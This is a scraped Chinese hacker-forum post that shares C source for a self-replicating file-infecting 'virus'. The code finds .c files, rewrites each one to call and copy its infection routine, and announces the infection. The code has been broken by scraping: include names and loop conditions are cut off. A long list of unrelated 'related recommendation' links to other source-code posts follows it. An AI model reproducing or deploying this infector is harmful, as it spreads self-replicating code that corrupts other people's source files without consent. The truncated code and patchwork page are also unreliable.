最近我感觉红盟好像有点冷清  分享一个C语言不算是病毒的病毒

#include

#include

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",&ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf,80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#include\n",out);

fputs("#include

\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;j

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(j

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(&ffblk);

}

return 0;

}

c语言网络病毒代码大全,C语言病毒 - 各类源码 - 中国红客联盟 - Powered by HUC相关推荐

  1. 恶搞php代码,恶搞源码。 - 各类源码 - 中国红客联盟 - Powered by HUC

    恶搞好友系统 让你朋友的手机爆炸吧 //手机震动1秒 if (navigator.vibrate) { navigator.vibrate(5000);//震动1000毫秒 } else if (na ...

  2. 易语言html5播放器问题,易语言媒体播放器 - 已处理问题存放区 - 中国红客联盟 - Powered by HUC...

    前几天吧,我们副组长教了个媒体播放器器.所以呢今天我就写这个媒体播放器.好了话不多说,请看源码.不好的话,请多多指教. 组件:高级表格.按钮×2.滑块条×2.时钟.媒体播放. 首先添加一个高级表格组件 ...

  3. c语言新手游戏,游戏c语言代码 - 新手交流 - 中国红客联盟 - Powered by HUC

    #include #include #include #include using namespace std; const int N=15;                 //15*15的棋盘b ...

  4. c语言自动画图函数,C语言中的画图函数 - C/C++学习入口 - 中国红客联盟 - Powered by HUC...

    AngleArc 用一个连接弧画一条线 Arc 画一个圆弧 BeginPath 启动一个路径分支 CancelDC 取消另一个线程里的长时间绘图操作 Chord 画一个弦 CloseEnhMetaFi ...

  5. c语言地图导航代码大全,C语言实训—电子地图导航系统源代码.docx

    C语言实训-电子地图导航系统源代码 /********************************************************************************* ...

  6. 爱心代码大全---含十余款特效源码【情人节表白代码】

    写在前面 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家:人工智能学习网站

  7. c 语言整人代码大全,C 语言整人代码大全.doc

    C 语言整人代码大全 C 语言整人代码大全 WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可 ...

  8. C语言——史上最全通讯录讲解(附源码)

    C语言--史上最全通讯录讲解(附源码) 一.开始界面的打印 二.对六大板块进行定义操作 三.对联系人进行初始化 四.对通讯录进行初始化 4.1动态版本 4.2静态版本 五.通讯录六大功能的具体实现 5 ...

  9. C语言打印字符串的所有排列组合(附完整源码)

    C语言打印字符串的所有排列组合 字符串的所有排列问题 C语言打印字符串的所有排列组合的完整源码(定义,实现,main函数测试) 字符串的所有排列问题 示例:ABC的排列是ABC,ACB,BCA,BAC ...

  10. 国际多语言出海商城返佣产品自动匹配订单源码

    国际多语言出海商城返佣产品自动匹配订单源码 8国多语言出海拼单商城 此网站是很多巴西客户定制的原型,已投放运营符合当地本地化 多语言商城返利返佣投资理财派单自带余额宝, 采取全新支付端口,后台语音提醒 ...

最新文章

  1. 运行PHP出现No input file specified错误解决办法
  2. yum 安装PHP之后如何启动,如何用yum安装php_后端开发
  3. 【视频课】图像分割重磅上新-人像抠图(Matting)实战
  4. miui12怎么自定义开机动画_MIUI12正式官宣,5天后发布!网友:发布是发布,12月才能更新?...
  5. Java性能调优:充分利用垃圾收集器
  6. 远程抄表系统(AMR/AMI)中无线模块选型指南
  7. catalina配置参数
  8. bzoj 1009: [HNOI2008]GT考试
  9. Android 属性动画简单说明前篇(一)
  10. 思源黑体官方下载地址
  11. B样条曲线与贝塞尔曲线学习笔记
  12. 【公众号】微信进入公众号链接自动获取授权登陆
  13. www.skymaya.com:8080/index.php,skymaya
  14. linux系统下find删除目录下除一文件外的所有文件
  15. 创意PS:-----程序员变身超人
  16. win7 x64部署和串口调试虚拟驱动toaster
  17. 爱情在手机中升华-致我最亲爱的你们
  18. STM32F103C8T6的TIM1的CH1、CH2、CH3三路互补PWM实现四路PWM两两输出
  19. 为弹性云服务器申请和绑定弹性公网IP
  20. 我的(此)电脑里面除了磁盘以外,多了一个CD驱动器,删除方法,亲测有效

热门文章

  1. 谈谈RJ45线序的打法及口诀
  2. mysql 支持嵌套查询吗_【转】MySql 嵌套查询
  3. wps开机启动无法禁用问题
  4. C/C++编程学习 - 第2周 ③ 反向输出一个三位数
  5. ConfuserEx 脱壳软件 使用教程
  6. winrar解压器_与WinRAR齐名的经典解压缩软件——WinZip,不仅仅是情怀
  7. 基于单片机的GPS开发 (four) GPS基础知识
  8. 原子结构示意图全部_原子结构示意图知识点总结
  9. 微计算机原理与接口半期考试,最新南京邮电大学微型计算机原理与接口技术期末考试试卷...
  10. 开源知识管理系统_开源MrDoc,一个适合个人和小型团队的文档、知识、笔记在线管理系统...